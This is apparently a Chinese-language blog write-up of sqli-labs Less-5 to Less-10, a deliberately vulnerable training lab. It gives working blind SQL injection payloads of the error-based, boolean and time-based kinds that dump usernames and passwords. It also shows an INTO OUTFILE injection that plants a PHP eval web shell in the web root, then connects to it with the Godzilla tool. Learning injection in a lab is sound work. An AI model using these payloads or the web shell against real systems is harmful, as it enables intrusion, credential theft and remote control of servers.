目录
sqli-labs靶场 Less-5(GET_盲注--基于报错注入)
SQL Server(MSSQL)中通过报错注入获取数据库名
sqli-labs靶场 Less-6(GET_盲注--基于报错注入)
sqli-labs靶场 Less-7(GET_盲注--outfile函数注入)
编辑sqli-labs靶场 Less-8(GET_盲注--基于布尔的单引号)
sqli-labs靶场 Less-9(GET -盲注-基于时间-单引号)
sqli-labs靶场 Less-10(GET -盲注-基于时间-双引号)
什么是GET_盲注
盲注(Blind SQL Injection)是SQL注入的一种,当服务器没有直接返回数据库查询的错误信息或结果,而是通过页面的行为差异进行判断时,就需要使用盲注。
GET请求中的盲注是通过修改GET请求中的参数,逐步猜测和提取数据库信息的过程。GET请求就是我们在浏览器地址栏中看到的那种请求,比如http://example.com/page?id=1
,其中的id=1
就是传递的参数。
总结一下,GET盲注就是利用GET请求参数,通过观察网页加载的差异,逐步猜测数据库信息的一种攻击手段。因为没有直接的反馈信息,所以过程比较慢,但仍然能成功获取数据。下面的图是常见的GET_盲注,这里直接用sqlilabs靶场的less_5~less_10作为例子详细说明,当我们遇到GET_盲注应该怎么做。
sqli-labs靶场 Less-5(GET_盲注--基于报错注入)
什么叫报错注入
题目:GET-Double Injection - Single Quotes- String 双注入-单引号-字符串
盲注的报错注入是盲注的一种技巧,通过在注入过程中故意引发SQL错误,让数据库返回错误信息,从而获取敏感数据。虽然盲注通常不会直接返回有用的查询结果,但在某些情况下,数据库会显示一些错误提示,这些提示中可能包含我们需要的数据信息
当按照之前非盲注时的步骤,我们看看盲注和非盲注的区别。
判断是否存在SQL注入漏洞
?id=1
?id=-1
根据上面的注入参数,我们发现是存在SQL注入漏洞的,和非盲注不一样的点在于当我们传入参数id=1时,没有返回用户名和密码之类的信息。但是原理与非盲注差不多,只是多了一步麻烦。
判断闭合方式(注入点)
?id=1\
根据报错信息near ''-1\' LIMIT 0,1' 可知是'(单引号)闭合
判断字段数
?id=-1' order by 3--+
根据报错信息,当查询4个时报错,说明字段数为3
判断报错位置(回显位置)
?id=-1' union select 1,2,3--+
根据页面发现没有显示报错位置,但是我们在判断字段数的时候有回显,所以我们可以选择基于报错注入
判断数据库名
由于盲注我们无法得到回显位置,所以我们只能利用数据库中的某些函数触发错误,并将错误信息返回给页面,其中会包含数据库的名称。具体的实现方式因数据库系统而异。下面分别介绍常见数据库(如 MySQL、SQL Server、Oracle)如何通过报错注入获取数据库名
MySQL 中通过报错注入获取数据库名
在 MySQL 中,可以使用函数如 updatexml()
或 extractvalue()
来强制引发错误,从错误信息中提取数据库名。但是数据库版本号要在大于5.1.5
updatexml()
?id=-1' and updatexml(1,concat(0x7e,database()),1) --+
或者(0x7e是字符串'~')
?id=-1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
得到数据库名security
extractvalue()
?id=-1' and extractvalue(1,concat(0x7e,database())) --+
#extractvalue的使用方法
extractvalue(xml_data, xpath_expression)
xml_data:XML 文档,通常传入一个无关的数值,如 1。
xpath_expression:XPath 查询表达式,返回错误信息时输出的内容
SQL Server(MSSQL)中通过报错注入获取数据库名
在 SQL Server 中,常用的报错注入方法是使用数据类型转换函数(如 convert()
)强制触发错误。
Oracle 中通过报错注入获取数据库名
在 Oracle 中,可以使用 to_char()
或其他类型转换函数来引发错误。
具体使用方法可以自行找度娘,这里就不多说了哈。
判断表名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+
或者
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
发现敏感的表users
判断字段名
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1) --+
或者
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')))--+
发现表的字段中有id,password敏感信息
爆出表的数据
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1) --+
或者
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users)))--+
我们发现数据不完整,如果查询的结果内容过多,比如查询一个表中很多字段或者大量数据时,错误信息可能只会显示一部分。这种情况下,超出限制的部分会被丢弃,导致无法获取完整的结果。如果单个字段的内容比较长(如获取长文本或大的数据),可以通过分段查询、按字符提取数据等方式来逐步获取更大的数据内容,例如使用 SUBSTRING()
来按字符或字节获取。
sqli-labs靶场 Less-6(GET_盲注--基于报错注入)
题目:GET - Double Injection - Double Quotes - String GET -双注入-双引号-字符串
第六关和第五关一样,也是基于报错注入,同样使用updatexml()
或 extractvalue()
来强制引发错误,从错误信息中提取数据库名
判断闭合方式
注入点为双引号"
判断字段数
字段数为3
判断报错位置
和第五关一样没有显示报错位置,但是我们在判断字段数的时候有回显,所以我们可以选择基于报错注入
判断数据库名
数据库名为security
判断表名
emails,referers,uagents,users
判断字段名
字段名为id,username,password
爆出表的数据
sqli-labs靶场 Less-7(GET_盲注--outfile函数注入)
题目:GET - Dump into outfile -string GET -转储到outfile -string
dump into outfile,意思是本关我们利用文件导入的方式进行注入
开始做题前,先了解一下什么是into outflie命令
INTO OUTFILE 命令是用于将查询结果写入到一个文件中的 MySQL 查询语句。它可以将查询结果保存为文本文件,供进一步处理或导出使用。
判断注入点
当id的值不存在时,会报语法错误
当输入'时,提示语法错误,直到输入'))才能显示正常。整个过程都没有错误提示或数据显示,那我们只能使用布尔注入来测试了
判断字段数
字段数为3
判断数据库路径
在less7中,由于它报错不在返回报错的数据库信息,我们没办法获取到网站路径,我们可以在1-6关中注入获得数据库路径,但是由于我是用linux系统的docker搭建的sqli-labs,不是默认的所以路径我不记得具体在哪了,所以我换回了windows系统,方法是一样的
@@datadir
返回的是数据库存储数据的路径,而我们知道网站路径是在WWW目录下,那么结合@@datadir
我们可以推断出网站的绝对路径为 C:\phpstudy2018\PHPTutorial\www\
?id=1' and 1=2 union select 1,2,@@datadir --+
判断是否有读写权利
id=1')) and (select count(*) from mysql.user)>0 %23
Outfile函数写入文件
?id=-1')) union select 1,2,3 into outfile "C:\\phpstudy2018\\PHPTutorial\\www\\sqli-labs-master\\sqli-labs-master\\Less-7\\2.txt" --+
虽然SQL报错,但是我们发现2.txt已经写入系统了,我们访问2.txt可以看到如下
爆数据库
得到数据库为security
?id=-1')) union select 1,user(),database() into outfile "C:\\phpstudy2018\\PHPTutorial\\www\\sqli-labs-master\\sqli-labs-master\\Less-7\\2.txt" --+
爆数据表
在这里解释一下为什么每次导出的文件不一样,这里写入文件的时候,需要注意的是利用数据库file权限向操作系统写入文件时,对于相同文件名的文件不能覆盖,所以如果第一次导出1.txt,下次再上传1.txt,就是无效命令了,也就是新的1.txt中的内容并不会覆盖之前的1.txt
?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "C:\\phpstudy2018\\PHPTutorial\\www\\sqli-labs-master\\sqli-labs-master\\Less-7\\3.txt" --+
爆出字段名
?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' into outfile "C:\\phpstudy2018\\PHPTutorial\\www\\sqli-labs-master\\sqli-labs-master\\Less-7\\4.txt" --+
爆出表的数据
?id=-1')) union select 1,username,password from users into outfile "C:\\phpstudy2018\\PHPTutorial\\www\\sqli-labs-master\\sqli-labs-master\\Less-7\\5.txt" --+
数据就爆出来啦,但是这种爆破比较费时间,我们换一种思路,既然他能够用outfile函数,那么我们可以写入一句话木马,用哥斯拉连接。
?id=1')) union select 1,2,'<?php @eval($_POST["pass"])?>' into outfile "C:\\phpstudy2018\\PHPTutorial\\www\\sqli-labs-master\\sqli-labs-master\\Less-7\\1.php" --+
成功写入,PHP源代码是看不见的
用哥斯拉连接成功可得到路径,可以自行测试一下
sqli-labs靶场 Less-8(GET_盲注--基于布尔的单引号)
题目:GET - Blind - Boolian Based - Single Quotes GET -盲注-基于布尔的单引号
判断闭合方式
根据题目可知是单引号的闭合方式
测试是否是注入点,网页不会返回任何报错信息,也不会返回其他信息即没有任何回显信息
判断字段数
字段数为3
布尔盲注判断数据库
布尔盲注是指true,false回显SQL语句的对错
用substr函数字符截取函数
格式1: substr(string string, int a, int b);,从第a个开始截取b个
格式2:substr(string string, int a) ;从第a个开始截取后面所有的字符串。
判断数据库的第一个字母为s
?id=1' and substr(database(),1,1)='l' --+
?id=1' and substr(database(),1,1)='s' --+
判断第二个字母为e
同样的道理一个个地判断出数据库为‘security’
一个个会太麻烦了,可以用数学中的二分法,提高效率
布尔盲注判断数据表
第一个数据表的第一个字母为:e
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+
同理可得emails,referers,uagents users
布尔盲注爆出字段名
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)='u'--+
布尔盲注耗时较长,就不一一列举,一般用比较好的python脚本爆破出来,如果有比较好的脚本,还请各位师傅在评论区指点哈哈哈
sqli-labs靶场 Less-9(GET -盲注-基于时间-单引号)
根据题目我们可以利用延时注入进行,同时id参数进行的是单引号闭合方式,通常时间盲注用的是sleep函数,if(a,b,c):a为条件,正确返回b,否则返回c
判断是否存在单引号延时注入
当正常发送请求时,用时1s,用sleep(7)用时8s,响应变缓慢了,说明存在单引号的延时注入
?id=1' and sleep(7) --+
判断数据库
获取数据库长度,如果数据库名的长度等于8停留5秒(if(a,b,c):a为条件,正确返回b,否则返回c),发现发送时间为6s,所以数据库名的长度为8(security)
?id=1' and if((length(database())=8),sleep(5),1) --+
判断数据库的第一个字母是‘s’,由此可以推出数据库为‘security’
?id=1' and if((mid(database(),1,1)='s'),sleep(5),1) --+
判断数据表
得到所有的数据表:emails,referers,uagents,users
?id=1' and if((mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'),sleep(5),1) --+
爆出数据表的字段
可以得到所有的字段名是id,username,password
?id=1' and if((mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'),sleep(5),1) --+
爆出表的数据
爆出username字段的第一个数据的第一个字母为D,同理可爆出全部数据
?id=1' and if((mid((select username from users limit 0,1),1,1)='D'),sleep(5),1) --+
用python脚本跑出如下:
个人觉得该脚本不是很好,就不列出来啦,有兴趣的可以加一下文章最后的微信一起交流
sqli-labs靶场 Less-10(GET -盲注-基于时间-双引号)
第十关和第九关相同,只不过注入方式是"双引号注入,可以自己试一下
判断是否存在单引号延时注入
同样的道理,用sleep(4)用时5s,响应变缓慢了,说明存在双引号的延时注入
?id=1" and sleep(4) --+
判断数据库
和第九关一样,就不重新写一遍代码了可以自己试一下,理解记一下代码。下面就只是爆出数据库、数据表、表的字段的第一个字母,其他的自己再试
判断数据表
爆出数据表的字段
爆出表的数据
微信交流二维码
欢迎各位师傅指点,有问题的可以私信或者加我微信哦!
以上就是小白的GET_盲注的学习记录,不喜勿喷,如果有错误,希望各师傅来纠正,less1~less10 基础的GET型注入已经写完,下一篇更新基础的POST注入,果然还是自己学习记录能加深印象,如有雷同,纯属巧合
0基础SQL注入小白可以关注我哦~,和我一起自律学习
sql-labs的[Less-1~less-4关]链接:https://blog.csdn.net/2301_77091612/article/details/142499888?fromshare=blogdetail&sharetype=blogdetail&sharerId=142499888&sharerefer=PC&sharesource=2301_77091612&sharefrom=from_link
参考文章: https://developer.aliyun.com/article/1540669